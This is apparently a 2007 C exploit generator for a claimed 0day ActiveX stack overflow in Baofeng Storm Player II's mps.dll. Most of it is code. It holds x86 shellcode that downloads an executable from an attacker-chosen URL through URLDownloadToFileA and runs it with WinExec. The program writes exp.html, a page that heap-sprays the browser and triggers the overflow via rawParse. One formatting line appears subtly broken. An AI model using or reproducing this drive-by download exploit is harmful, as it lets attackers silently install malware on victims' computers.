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暴风影音II mps.dll ActiveX栈溢出漏洞0day

暴风影音II mps.dll ActiveX栈溢出漏洞0day

暴风影音II mps.dll ActiveX栈溢出漏洞0day

// written by haohack@msn.com (2007)
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdio.h>
const unsigned char shellcode[346] =
{
  0x90, 0x90, 0x90, 0x90, 0xe9, 0xef, 0x00, 0x00, 0x00, 0x5a, 0x64, 0xa1, 0x30, 0x00, 0x00, 0x00,
  0x8b, 0x40, 0x0c, 0x8b, 0x70, 0x1c, 0xad, 0x8b, 0x40, 0x08, 0x8b, 0xd8, 0x8b, 0x73, 0x3c, 0x8b,
  0x74, 0x1e, 0x78, 0x03, 0xf3, 0x8b, 0x7e, 0x20, 0x03, 0xfb, 0x8b, 0x4e, 0x14, 0x33, 0xed, 0x56,
  0x57, 0x51, 0x8b, 0x3f, 0x03, 0xfb, 0x8b, 0xf2, 0x6a, 0x0e, 0x59, 0xf3, 0xa6, 0x74, 0x08, 0x59,
  0x5f, 0x83, 0xc7, 0x04, 0x45, 0xe2, 0xe9, 0x59, 0x5f, 0x5e, 0x8b, 0xcd, 0x8b, 0x46, 0x24, 0x03,
  0xc3, 0xd1, 0xe1, 0x03, 0xc1, 0x33, 0xc9, 0x66, 0x8b, 0x08, 0x8b, 0x46, 0x1c, 0x03, 0xc3, 0xc1,
  0xe1, 0x02, 0x03, 0xc1, 0x8b, 0x00, 0x03, 0xc3, 0x8b, 0xfa, 0x8b, 0xf7, 0x83, 0xc6, 0x0e, 0x8b,
  0xd0, 0x6a, 0x04, 0x59, 0xe8, 0x6a, 0x00, 0x00, 0x00, 0x83, 0xc6, 0x0d, 0x52, 0x56, 0xff, 0x57,
  0xfc, 0x5a, 0x8b, 0xd8, 0x6a, 0x01, 0x59, 0xe8, 0x57, 0x00, 0x00, 0x00, 0x83, 0xc6, 0x13, 0x56,
  0x46, 0x80, 0x3e, 0x80, 0x75, 0xfa, 0x80, 0x36, 0x80, 0x5e, 0x83, 0xec, 0x40, 0x8b, 0xdc, 0xc7,
  0x03, 0x63, 0x6d, 0x64, 0x20, 0x43, 0x43, 0x43, 0x43, 0x66, 0xc7, 0x03, 0x2f, 0x63, 0x43, 0x43,
  0xc6, 0x03, 0x20, 0x43, 0x6a, 0x20, 0x53, 0xff, 0x57, 0xec, 0xc7, 0x04, 0x03, 0x5c, 0x61, 0x2e,
  0x65, 0xc7, 0x44, 0x03, 0x04, 0x78, 0x65, 0x00, 0x00, 0x33, 0xc0, 0x50, 0x50, 0x53, 0x56, 0x50,
  0xff, 0x57, 0xfc, 0x8b, 0xdc, 0x6a, 0x00, 0x53, 0xff, 0x57, 0xf0, 0x68, 0x51, 0x24, 0x40, 0x00,
  0x58, 0xff, 0xd0, 0x33, 0xc0, 0xac, 0x85, 0xc0, 0x75, 0xf9, 0x51, 0x52, 0x56, 0x53, 0xff, 0xd2,
  0x5a, 0x59, 0xab, 0xe2, 0xee, 0x33, 0xc0, 0xc3, 0xe8, 0x0c, 0xff, 0xff, 0xff, 0x47, 0x65, 0x74,
  0x50, 0x72, 0x6f, 0x63, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x47, 0x65, 0x74, 0x53,
  0x79, 0x73, 0x74, 0x65, 0x6d, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x41, 0x00,
  0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x45, 0x78, 0x69, 0x74, 0x54, 0x68, 0x72, 0x65,
  0x61, 0x64, 0x00, 0x4c, 0x6f, 0x61, 0x64, 0x4c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x41, 0x00,
  0x75, 0x72, 0x6c, 0x6d, 0x6f, 0x6e, 0x00, 0x55, 0x52, 0x4c, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f,
  0x61, 0x64, 0x54, 0x6f, 0x46, 0x69, 0x6c, 0x65, 0x41, 0x00
};
const char* script1 = \
  "<html>\n<object classid=\"clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB\"\nid='target'>\n</object>\n<body>\n<SCRIPT language=\"javascript\">\n"
  "var shellcode = unescape(\"";
const char* script2 = \
  "\");\n"
"</script>\n<SCRIPT language=\"javascript\">\n"
"var bigblock = unescape(\"%u9090%u9090\");\n"
"var headersize = 20;\n"
"var slackspace = headersize+shellcode.length;\n"
"while (bigblock.length<slackspace) bigblock+=bigblock;\n"
"fillblock = bigblock.substring(0, slackspace);\n"
"block = bigblock.substring(0, bigblock.length-slackspace);\n"
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n"
"memory = new Array();\n"
"for (x=0; x<300; x++) memory[x] = block + shellcode;\n"
"var buffer = '';\n"
"while (buffer.length < 4057) buffer+='\\x0a\\x0a\\x0a\\x0a';\n"
"buffer+='\\x0a';\n"
"buffer+='\\x0a';\n"
"buffer+='\\x0a';\n"
"buffer+='\\x0a\\x0a\\x0a\\x0a';\n"
"buffer+='\\x0a\\x0a\\x0a\\x0a';\n"
"target.rawParse(buffer);\n"
"</script>\n"
"</body>\n"
"</html>\n";
int main(int argc, char* argv[])
{
  if ( argc != 2 )
  {
    printf("exp:cpp1.exe url\nwritten by haohack@msn.com (2007)\n");
    return -1;
  }
  FILE *file = fopen("exp.html", "w+");
  if ( file == NULL )
  {
    printf("create 'exp.html' failed!\n");
    return -2;
  }
  fprintf(file, "%s", script1);
  for ( unsigned i = 0; i < sizeof (shellcode); i += 2 )
    fprintf(file, "%%u%02X%02X" , shellcode[i + 1], shellcode);
  
  const unsigned l = strlen(argv[1]);
  for ( unsigned j = 0; j < l; j += 2 )
    fprintf(file, "%%u%02X%02X" , argv[1][j + 1], argv[1][j]);
  fprintf(file, "%s", script2);
  fclose(file);
  printf("make 'exp.html' successed!\n");
  return 0;
}
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